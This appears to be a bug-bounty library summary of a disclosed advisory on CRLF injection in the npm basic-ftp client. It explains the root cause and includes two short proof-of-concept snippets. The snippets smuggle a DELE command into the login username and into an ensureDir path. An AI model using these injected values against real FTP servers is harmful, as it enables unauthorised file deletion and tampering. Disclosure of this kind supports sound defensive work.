# basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

basic-ftp's CRLF protection misses login() credentials and pre-validation MKD in _openDir(), letting attacker-controlled input inject arbitrary FTP commands.

- Payout: Research
- Severity: high
- Program: basic-ftp
- Found by: offset
- Disclosed: 2026-04-10
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-6v7q-wjvx-w8wg
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-6v7q-wjvx-w8wg
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:crlf-injection

**Target:** npm basic-ftp FTP client library (USER/PASS/MKD command construction)
**Root cause:** protectWhitespace() CRLF check is only applied to path operations; login() concatenates credentials directly and _openDir() sends MKD before cd() validates, so control characters reach the socket.
**Steps:**
1. Call `client.access({host, user: "anonymous\r\nDELE important.txt", password: "guest"})`
2. login() sends `USER anonymous\r\nDELE important.txt` via FtpContext.send(), which writes `command + "\r\n"` to the socket
3. Server parses injected `DELE important.txt` as a separate command before PASS
4. Alternatively call `client.ensureDir("test\r\nDELE important.txt/subdir")`; _openDir() sends `MKD test\r\nDELE important.txt` before cd() rejects the fragment
**How found:** Reporter reviewed the prior CRLF fix (commit 2ecc8e2) and traced which code paths call protectWhitespace(), finding login() and the MKD send in _openDir() bypass it.
**Exploitation:** Attacker controlling FTP credentials or remote path input to an app using basic-ftp injects CRLF-terminated commands (DELE, RNFR/RNTO, SITE CHMOD, USER/PASS) that execute on the control connection; credential vector fires pre-auth during the login handshake.
**Insight:** When auditing a partial CRLF/control-char fix, enumerate every call site that reaches the raw socket write and check whether each passes through the sanitizer; look for sends that occur before the validating call (TOCTOU ordering) and for pre-auth paths like login.

## Proof of concept (copied exactly from the original report)

**Credential CRLF injection PoC via access()**

```
const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();
```

**MKD TOCTOU bypass PoC via ensureDir()**

```
await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();
```

